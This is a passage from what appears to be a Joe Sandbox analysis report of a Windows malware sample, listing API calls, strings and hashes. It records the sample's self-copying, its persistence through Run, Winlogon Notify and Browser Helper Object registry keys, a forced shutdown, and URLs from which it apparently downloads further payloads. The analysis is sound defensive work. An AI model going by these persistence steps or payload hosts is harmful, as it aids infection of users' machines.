SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?), ref: 00404522
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe), ref: 00404528
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404537
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404540
GetStartupInfoA.KERNEL32(?), ref: 0040454D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571

Strings

%AppData%\, xrefs: 004044AF
rmass.exe, xrefs: 00404440, 00404470, 004044AA
%CommonProgramFiles%\System\, xrefs: 00404475

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$lstrcat$CloseCreateHandle$EnvironmentExpandProcessStringsTimelstrcpy$AttributesDirectoryExitInfoStartupSystem
String ID: %AppData%\$%CommonProgramFiles%\System\$rmass.exe
API String ID: 4031230030-2823594557
Opcode ID: d6c90927e4cd8def6fc3adbb89e1dbdb2a81c038fff852864b1f7ddabebaee77
Instruction ID: 6384acf48e3804f064e8c7321ef833ce5966d880c2ab70e1242ca5c0aa13c74e
Opcode Fuzzy Hash: d6c90927e4cd8def6fc3adbb89e1dbdb2a81c038fff852864b1f7ddabebaee77
Instruction Fuzzy Hash: AA3165B124474076D630A6718D4AFDF729C9F84708F90883FB384B65C2DBBCA9454A6E

Uniqueness

Uniqueness Score: -1.00%

Function 004035CF Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 83
processlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,0040AA4F), ref: 004035E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403605
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040360A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403625
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571

Strings

SD), xrefs: 004035E6
--k33p, xrefs: 0040360F

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Process$CloseCreateHandleProcess32$AddressCommandCurrentExitFileFirstInfoLineModuleNameNextObjectOpenProcSingleSnapshotStartupToolhelp32Wait
String ID: --k33p$SD)
API String ID: 3843483697-1933173989
Opcode ID: cea02bfb6561e4806aba2bf50157ef9912c07b6ba67337a23f95100716e2e7f3
Instruction ID: 980f618471af2990efa059250717ff7e22aa3cf5a7f3fe279e17687d513e2805
Opcode Fuzzy Hash: cea02bfb6561e4806aba2bf50157ef9912c07b6ba67337a23f95100716e2e7f3
Instruction Fuzzy Hash: 5F2153702087817AE730AB718D46FAF758CDF84749F90483BB289B51D2DE7C99008E6B

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,000000F2), ref: 00403FA3
lstrcat.KERNEL32(?,\hosts), ref: 00403FC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,\hosts,?,000000FE,wininet.dll,iphlpapi.dll,rasapi32.dll,00000000,?), ref: 00403FDC
SetFilePointer.KERNEL32(00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000,?,\drivers\etc\hosts), ref: 00403FF8
ReadFile.KERNEL32(?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404015
ReadFile.KERNEL32(?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000), ref: 0040402B
ReadFile.KERNEL32(?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000), ref: 00404041
CloseHandle.KERNEL32(?,?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000), ref: 0040404D
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 00404084

Strings

rmass.exe, xrefs: 00404072
qnd_b__-0F, xrefs: 00404095
\drivers\etc\hosts, xrefs: 00403FA8

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$Read$CloseCreateDirectoryHandlePointerSystemlstrcatlstrcmpi
String ID: \drivers\etc\hosts$qnd_b__-0F$rmass.exe
API String ID: 1203944850-1622607554
Opcode ID: ff9320c0ddbfb535f7120d43a4ef2edcb6b385a72cf764e237816b70047758e5
Instruction ID: 35304083c46ce8bdd99aca2beccb525c336441cd391f258b3a4e2715a73e65a2
Opcode Fuzzy Hash: ff9320c0ddbfb535f7120d43a4ef2edcb6b385a72cf764e237816b70047758e5
Instruction Fuzzy Hash: DA1166B0644741F9F6306B71CC4BF4B2598EB81718FA0853B7355B90D1DBBC54048A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: a82716f2b94635184383365a9f493b4a3c746bf30f9d9f07b8907530947ddf88
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: a82716f2b94635184383365a9f493b4a3c746bf30f9d9f07b8907530947ddf88
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000014,00401EE7), ref: 00401009

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction ID: 059bb74646fdde00ddc91567d55368278c3f66c790095dbea91f8dfc7a828351
Opcode Fuzzy Hash: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction Fuzzy Hash: E8A00274554504BAEA112761AD4AF663519FB40F04FD051BA7500744F185791810AA2C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404E3C Relevance: 240.7, APIs: 105, Strings: 32, Instructions: 943registrystringfileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(%AppData%\), ref: 00404E53
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,%AppData%\), ref: 00404E6C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,%AppData%\), ref: 00404E88
GetTempPathA.KERNEL32(00000104,?,%AppData%\), ref: 00404EA8
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,%AppData%\), ref: 00404EC5
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104,?,%AppData%\), ref: 00404EE5
WriteFile.KERNEL32(?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00404F0E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00404F1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,?,?,00000000,?,40000000,00000000), ref: 00404F36
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404F7A
lstrcat.KERNEL32(?,0040B041), ref: 00404F8F
lstrcat.KERNEL32(00000000,?), ref: 00404F95
SetFileAttributesA.KERNEL32(00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,?,00000000,?,?,00000000,?,00000000), ref: 00404F9B
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,?), ref: 00404FB3
WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL), ref: 00405020
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,?), ref: 00405058
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080), ref: 00405089
lstrcat.KERNEL32(?,RECOVER32.DLL), ref: 00405099
SetFileAttributesA.KERNEL32(00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000), ref: 0040509F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000), ref: 004050B7
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000), ref: 004050CE
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104), ref: 004050DE
lstrcat.KERNEL32(?,RECOVER32.DLL), ref: 004050EE
SetFileAttributesA.KERNEL32(00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL), ref: 004050F4
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000), ref: 0040510C
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000), ref: 00405123
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 00405156
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405168
lstrcat.KERNEL32(?,0040B041), ref: 00405173
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000), ref: 0040518A
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000), ref: 004051A1
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?), ref: 004051D8
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104), ref: 004051FA
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104), ref: 0040521E
RegSetValueExA.ADVAPI32(?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\), ref: 00405236
RegDeleteValueA.ADVAPI32(?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?), ref: 00405247
RegCloseKey.ADVAPI32(?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041), ref: 00405253
RegCreateKeyA.ADVAPI32(80000002,004071E0,?), ref: 0040529B
RegSetValueExA.ADVAPI32(?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006), ref: 004052BE
RegCloseKey.ADVAPI32(?,?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000), ref: 004052CA
RegOpenKeyExA.ADVAPI32(80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?), ref: 0040533B
RegSetValueExA.ADVAPI32(?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?), ref: 0040535E
RegSetValueExA.ADVAPI32(?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006), ref: 00405376
RegSetValueExA.ADVAPI32(?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004), ref: 0040538E
RegSetValueExA.ADVAPI32(?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004), ref: 004053A6
RegCloseKey.ADVAPI32(?,?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000), ref: 004053B2
RegOpenKeyExA.ADVAPI32(80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe), ref: 004053DB
RegDeleteValueA.ADVAPI32(00004000,00000000,?,?,00000000,?,00000000,?,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002), ref: 00405441
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000), ref: 00405484
wsprintfA.USER32 ref: 0040549B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001), ref: 004054B2
RegCloseKey.ADVAPI32(?,?,?,00000000,00000001,00000000,00000001), ref: 004054C5
CreateThread.KERNEL32(00000000,00010000,Function_00002886,00000002,00000000,?), ref: 004054E2
CloseHandle.KERNEL32(00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\), ref: 004054E8
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000,00000000,00000000,00010000,Function_00002886,00000002,00000000,?), ref: 00405568
GetSystemTimeAsFileTime.KERNEL32(?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000,00000000,00000000,00010000,Function_00002886,00000002,00000000), ref: 0040557A
RegQueryValueExA.ADVAPI32(?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 004055A1
RegQueryValueExA.ADVAPI32(?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 004056A9
RegQueryValueExA.ADVAPI32(?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000), ref: 0040572C
RegSetValueExA.ADVAPI32(?,UseDflProfile,00000000,0000000B,?,00000008,?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000,00000000), ref: 0040578E
RegCloseKey.ADVAPI32(?,?,UseDflProfile,00000000,0000000B,?,00000008,?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000), ref: 00405797
RegCloseKey.ADVAPI32(?,?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced), ref: 004057A9
SetFileAttributesA.KERNEL32(?,00000021,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006), ref: 004057E8
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405802
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?,?,00000021,00000000,00000000,00010000,Function_00002886,00000002), ref: 0040583C
lstrlen.KERNEL32(?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?,?,00000021,00000000,00000000,00010000,Function_00002886), ref: 00405842
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?), ref: 0040585A
RegCloseKey.ADVAPI32(?,?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?), ref: 00405866
SetFileAttributesA.KERNEL32(?,00000021,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006), ref: 00405883
RegCreateKeyA.ADVAPI32(80000002,00408760,?), ref: 00405893
lstrlen.KERNEL32(?,80000002,00408760,?,?,00000021,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe), ref: 004058AD
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002), ref: 004058D2
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000), ref: 004058ED
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe), ref: 004058FE
RegSetValueExA.ADVAPI32(?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886), ref: 00405916
RegCloseKey.ADVAPI32(?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000), ref: 00405922
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,?,00000000,?,?,rmass.exe,00000000,00000001,?,00000001), ref: 00405956
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8), ref: 0040597C
RegSetValueExA.ADVAPI32(?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,?,00000000,?), ref: 004059A2
RegCloseKey.ADVAPI32(?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 004059AE
SetFileAttributesA.KERNEL32(?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8), ref: 004059BD
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 004059DD
lstrlen.KERNEL32(?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?,?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 004059F7
RegSetValueExA.ADVAPI32(?,DLLName,00000000,00000001,?,00000001,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?,?,00000021,?,?,SubshellState,00000000), ref: 00405A0F
RegSetValueExA.ADVAPI32(?,Startup,00000000,00000001,Startup,00000008,?,DLLName,00000000,00000001,?,00000001,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 00405A2B
RegCreateKeyA.ADVAPI32(80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?), ref: 00405A3D
lstrlen.KERNEL32(?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?,?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 00405A47
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?,?,00000021,?,?,SubshellState,00000000), ref: 00405A5C
RegSetValueExA.ADVAPI32(?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?), ref: 00405A78
RegCloseKey.ADVAPI32(?,?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32), ref: 00405A84
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC},?), ref: 00405A94
RegCloseKey.ADVAPI32(?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC},?,?,?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?), ref: 00405AA4
SetFileAttributesA.KERNEL32(?,00000021,?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000), ref: 00405AB3
Sleep.KERNEL32(000003E8,?,00000021,?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?), ref: 00405ABD
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,000003E8,?,00000021,?,?,rmass.exe,00000000), ref: 00405AEA
RegQueryValueExA.ADVAPI32(?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,000003E8), ref: 00405B16
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,00000004,00000004,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000), ref: 00405B3C
RegDeleteValueA.ADVAPI32(?,g00d d0gg,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?), ref: 00405B4C
Sleep.KERNEL32(00001388,?,g00d d0gg,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000), ref: 00405B56
RtlAdjustPrivilege.NTDLL(00000013,00000001,00000000,00000000), ref: 00405B6F
NtShutdownSystem.NTDLL(00000001), ref: 00405B77
ExitWindowsEx.USER32(00000006,00000000), ref: 00405B83
RegCloseKey.ADVAPI32(?,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00405B8C

Strings

%AppData%\, xrefs: 00404E4E, 00405084, 0040519C
IsInstalled, xrefs: 00405830
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00405A8A
grazie.gif, xrefs: 00405658
http://69.50.173.166/gdnOT2424.exe, xrefs: 004056D7
Debugger, xrefs: 004058B9
http://utbidet-ugeas.biz/d/cc, xrefs: 004055E2
